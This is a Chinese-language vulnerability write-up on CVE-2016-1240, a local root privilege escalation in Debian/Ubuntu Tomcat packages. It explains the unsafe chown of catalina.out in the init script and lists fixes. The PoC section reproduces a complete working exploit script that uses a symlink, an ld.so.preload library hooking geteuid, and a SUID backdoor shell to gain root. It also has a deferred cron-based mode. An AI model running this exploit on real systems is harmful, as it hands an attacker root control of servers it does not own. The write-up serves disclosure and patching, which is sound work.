catalogue
1. 漏洞背景 2. 影响范围 3. 漏洞原理 4. 漏洞PoC 5. 修复方案
1. 漏洞背景
Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行。本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限
Relevant Link:
http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html http://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247483675&idx=1&sn=4b3333c9a16e2e29c6fed72ad45e0787&mpshare=1&scene=2&srcid=1007lydwyCzkOlwg6aH218Wj&from=timeline&isappinstalled=0#wechat_redirect http://www.freebuf.com/vuls/115862.html
2. 影响范围
Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1 受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响
3. 漏洞原理
Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使用deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*
启动脚本的内容为
#!/bin/sh # # /etc/init.d/tomcat7 -- startup script for the Tomcat 6 servlet engine # # Written by Miquel van Smoorenburg <[email protected]>. # Modified for Debian GNU/Linux by Ian Murdock <[email protected]>. # Modified for Tomcat by Stefan Gybas <[email protected]>. # Modified for Tomcat6 by Thierry Carrez <[email protected]>. # Modified for Tomcat7 by Ernesto Hernandez-Novich <[email protected]>. # Additional improvements by Jason Brittain <[email protected]>. # ### BEGIN INIT INFO # Provides: tomcat7 # Required-Start: $local_fs $remote_fs $network # Required-Stop: $local_fs $remote_fs $network # Should-Start: $named # Should-Stop: $named # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start Tomcat. # Description: Start the Tomcat servlet engine. ### END INIT INFO set -e PATH=/bin:/usr/bin:/sbin:/usr/sbin NAME=tomcat7 DESC="Tomcat servlet engine" DEFAULT=/etc/default/$NAME JVM_TMP=/tmp/tomcat7-$NAME-tmp if [ `id -u` -ne 0 ]; then echo "You need root privileges to run this script" exit 1 fi # Make sure tomcat is started with system locale if [ -r /etc/default/locale ]; then . /etc/default/locale export LANG fi . /lib/lsb/init-functions if [ -r /etc/default/rcS ]; then . /etc/default/rcS fi # The following variables can be overwritten in $DEFAULT # Run Tomcat 7 as this user ID and group ID TOMCAT7_USER=tomcat7 TOMCAT7_GROUP=tomcat7 # this is a work-around until there is a suitable runtime replacement # for dpkg-architecture for arch:all packages # this function sets the variable OPENJDKS find_openjdks() { for jvmdir in /usr/lib/jvm/java-7-openjdk-* do if [ -d "${jvmdir}" -a "${jvmdir}" != "/usr/lib/jvm/java-7-openjdk-common" ] then OPENJDKS=$jvmdir fi done for jvmdir in /usr/lib/jvm/java-6-openjdk-* do if [ -d "${jvmdir}" -a "${jvmdir}" != "/usr/lib/jvm/java-6-openjdk-common" ] then OPENJDKS="${OPENJDKS} ${jvmdir}" fi done } OPENJDKS="" find_openjdks # The first existing directory is used for JAVA_HOME (if JAVA_HOME is not # defined in $DEFAULT) JDK_DIRS="/usr/lib/jvm/default-java ${OPENJDKS} /usr/lib/jvm/java-6-openjdk /usr/lib/jvm/java-6-sun /usr/lib/jvm/java-7-oracle" # Look for the right JVM to use for jdir in $JDK_DIRS; do if [ -r "$jdir/bin/java" -a -z "${JAVA_HOME}" ]; then JAVA_HOME="$jdir" fi done export JAVA_HOME # Directory where the Tomcat 6 binary distribution resides CATALINA_HOME=/usr/share/$NAME # Directory for per-instance configuration files and webapps CATALINA_BASE=/var/lib/$NAME # Use the Java security manager? (yes/no) TOMCAT7_SECURITY=no # Default Java options # Set java.awt.headless=true if JAVA_OPTS is not set so the # Xalan XSL transformer can work without X11 display on JDK 1.4+ # It also looks like the default heap size of 64M is not enough for most cases # so the maximum heap size is set to 128M if [ -z "$JAVA_OPTS" ]; then JAVA_OPTS="-Djava.awt.headless=true -Xmx128M" fi # End of variables that can be overwritten in $DEFAULT # overwrite settings from default file if [ -f "$DEFAULT" ]; then . "$DEFAULT" fi if [ ! -f "$CATALINA_HOME/bin/bootstrap.jar" ]; then log_failure_msg "$NAME is not installed" exit 1 fi POLICY_CACHE="$CATALINA_BASE/work/catalina.policy" if [ -z "$CATALINA_TMPDIR" ]; then CATALINA_TMPDIR="$JVM_TMP" fi # Set the JSP compiler if set in the tomcat7.default file if [ -n "$JSP_COMPILER" ]; then JAVA_OPTS="$JAVA_OPTS -Dbuild.compiler=\"$JSP_COMPILER\"" fi SECURITY="" if [ "$TOMCAT7_SECURITY" = "yes" ]; then SECURITY="-security" fi # Define other required variables CATALINA_PID="/var/run/$NAME.pid" CATALINA_SH="$CATALINA_HOME/bin/catalina.sh" # Look for Java Secure Sockets Extension (JSSE) JARs if [ -z "${JSSE_HOME}" -a -r "${JAVA_HOME}/jre/lib/jsse.jar" ]; then JSSE_HOME="${JAVA_HOME}/jre/" fi catalina_sh() { # Escape any double quotes in the value of JAVA_OPTS JAVA_OPTS="$(echo $JAVA_OPTS | sed 's/\"/\\\"/g')" AUTHBIND_COMMAND="" if [ "$AUTHBIND" = "yes" -a "$1" = "start" ]; then AUTHBIND_COMMAND="/usr/bin/authbind --deep /bin/bash -c " fi # Define the command to run Tomcat's catalina.sh as a daemon # set -a tells sh to export assigned variables to spawned shells. TOMCAT_SH="set -a; JAVA_HOME=\"$JAVA_HOME\"; source \"$DEFAULT\"; \ CATALINA_HOME=\"$CATALINA_HOME\"; \ CATALINA_BASE=\"$CATALINA_BASE\"; \ JAVA_OPTS=\"$JAVA_OPTS\"; \ CATALINA_PID=\"$CATALINA_PID\"; \ CATALINA_TMPDIR=\"$CATALINA_TMPDIR\"; \ LANG=\"$LANG\"; JSSE_HOME=\"$JSSE_HOME\"; \ cd \"$CATALINA_BASE\"; \ \"$CATALINA_SH\" $@" if [ "$AUTHBIND" = "yes" -a "$1" = "start" ]; then TOMCAT_SH="'$TOMCAT_SH'" fi # Run the catalina.sh script as a daemon set +e if [ ! -f "$CATALINA_BASE"/logs/catalina.out ]; then install -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_BASE"/logs/catalina.out fi install -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_PID" start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \ -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \ -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH" status="$?" set +a -e return $status } case "$1" in start) if [ -z "$JAVA_HOME" ]; then log_failure_msg "no JDK or JRE found - please set JAVA_HOME" exit 1 fi if [ ! -d "$CATALINA_BASE/conf" ]; then log_failure_msg "invalid CATALINA_BASE: $CATALINA_BASE" exit 1 fi log_daemon_msg "Starting $DESC" "$NAME" if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \ --user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \ >/dev/null; then # Regenerate POLICY_CACHE file umask 022 echo "// AUTO-GENERATED FILE from /etc/tomcat7/policy.d/" \ > "$POLICY_CACHE" echo "" >> "$POLICY_CACHE" cat $CATALINA_BASE/conf/policy.d/*.policy \ >> "$POLICY_CACHE" # Remove / recreate JVM_TMP directory rm -rf "$JVM_TMP" mkdir -p "$JVM_TMP" || { log_failure_msg "could not create JVM temporary directory" exit 1 } chown $TOMCAT7_USER "$JVM_TMP" catalina_sh start $SECURITY sleep 5 if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \ --user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \ >/dev/null; then if [ -f "$CATALINA_PID" ]; then rm -f "$CATALINA_PID" fi log_end_msg 1 else log_end_msg 0 fi else log_progress_msg "(already running)" log_end_msg 0 fi ;; stop) log_daemon_msg "Stopping $DESC" "$NAME" set +e if [ -f "$CATALINA_PID" ]; then start-stop-daemon --stop --pidfile "$CATALINA_PID" \ --user "$TOMCAT7_USER" \ --retry=TERM/20/KILL/5 >/dev/null if [ $? -eq 1 ]; then log_progress_msg "$DESC is not running but pid file exists, cleaning up" elif [ $? -eq 3 ]; then PID="`cat $CATALINA_PID`" log_failure_msg "Failed to stop $NAME (pid $PID)" exit 1 fi rm -f "$CATALINA_PID" rm -rf "$JVM_TMP" else log_progress_msg "(not running)" fi log_end_msg 0 set -e ;; status) set +e start-stop-daemon --test --start --pidfile "$CATALINA_PID" \ --user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \ >/dev/null 2>&1 if [ "$?" = "0" ]; then if [ -f "$CATALINA_PID" ]; then log_success_msg "$DESC is not running, but pid file exists." exit 1 else log_success_msg "$DESC is not running." exit 3 fi else log_success_msg "$DESC is running with pid `cat $CATALINA_PID`" fi set -e ;; restart|force-reload) if [ -f "$CATALINA_PID" ]; then $0 stop sleep 1 fi $0 start ;; try-restart) if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \ --user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \ >/dev/null; then $0 start fi ;; *) log_success_msg "Usage: $0 {start|stop|restart|try-restart|force-reload|status}" exit 1 ;; esac exit 0
我们跟进重点部分
# Run the catalina.sh script as a daemon set +e touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH" status="$?" set +a -e
Tomcat服务在启动时(启动脚本代码所示),会将log文件catalina.out的所有者改为Tomcat用户,而启动脚本由linux init(root用户)调用,利用这个特性,我们可以通过创建软链接的方式,将任意文件的属主改为Tomcat账户,达到降ACL的目的。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件,这是一种典型的配置文件加载劫持的漏洞利用方式
4. 漏洞PoC
Usage: ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] The exploit can used in two ways: -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. Attackers can come back at a later time and check on the /etc/default/locale file. Upon a Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can then add arbitrary commands to the file which will be executed with root privileges by the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default Ubuntu/Debian Tomcat installations).
tomcat-rootprivesc-deb.sh
#!/bin/bash # # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit # # CVE-2016-1240 # # Discovered and coded by: # # Dawid Golunski # http://legalhackers.com # # This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc. # It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root. # # Usage: # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] # # The exploit can used in two ways: # # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) # # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can # then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations). # # See full advisory for details at: # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/tomcatrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload 2>/dev/null fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3 fi if [ "$2" = "-deferred" ]; then mode="deferred" else mode="active" fi # Priv check echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`" id | grep -q tomcat if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3 fi # Set target paths TOMCATLOG="$1" if [ ! -f $TOMCATLOG ]; then echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on default # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been # restarted and file owner gets changed. if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges" echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;) \n\n" exit 0 fi # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2 fi # Symlink the log file to ld.so.preload rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" # Wait for Tomcat to re-open the logs echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) " while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload break; fi done # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo --help 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0
5. 修复方案
0x1: 临时修复方案: chown -h
可更改Tomcat的启动脚本为
chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out root@iZ23und3yqhZ:~# chown --h Usage: chown [OPTION]... [OWNER][:[GROUP]] FILE... or: chown [OPTION]... --reference=RFILE FILE... Change the owner and/or group of each FILE to OWNER and/or GROUP. With --reference, change the owner and group of each FILE to those of RFILE. -c, --changes like verbose but report only when a change is made -f, --silent, --quiet suppress most error messages -v, --verbose output a diagnostic for every file processed --dereference affect the referent of each symbolic link (this is the default), rather than the symbolic link itself -h, --no-dereference affect symbolic links instead of any referenced file (useful only on systems that can change the ownership of a symlink) --from=CURRENT_OWNER:CURRENT_GROUP change the owner and/or group of each file only if its current owner and/or group match those specified here. Either may be omitted, in which case a match is not required for the omitted attribute --no-preserve-root do not treat '/' specially (the default) --preserve-root fail to operate recursively on '/' --reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values -R, --recursive operate on files and directories recursively The following options modify how a hierarchy is traversed when the -R option is also specified. If more than one is specified, only the final one takes effect. -H if a command line argument is a symbolic link to a directory, traverse it -L traverse every symbolic link to a directory encountered -P do not traverse any symbolic links (default) --help display this help and exit --version output version information and exit
加入 -h 参数防止其他文件所有者被更改(禁止了解析软链接)
0x2: 临时修复方案: chown改为install
# Run the catalina.sh script as a daemon set +e if [ ! -f "$CATALINA_BASE"/logs/catalina.out ]; then install -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_BASE"/logs/catalina.out fi install -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_PID" start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH" status="$?" set +a -e return $status
0x3: 更新最新Tomcat包
Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可(apt-get源已更新)
Copyright (c) 2016 LittleHann All rights reserved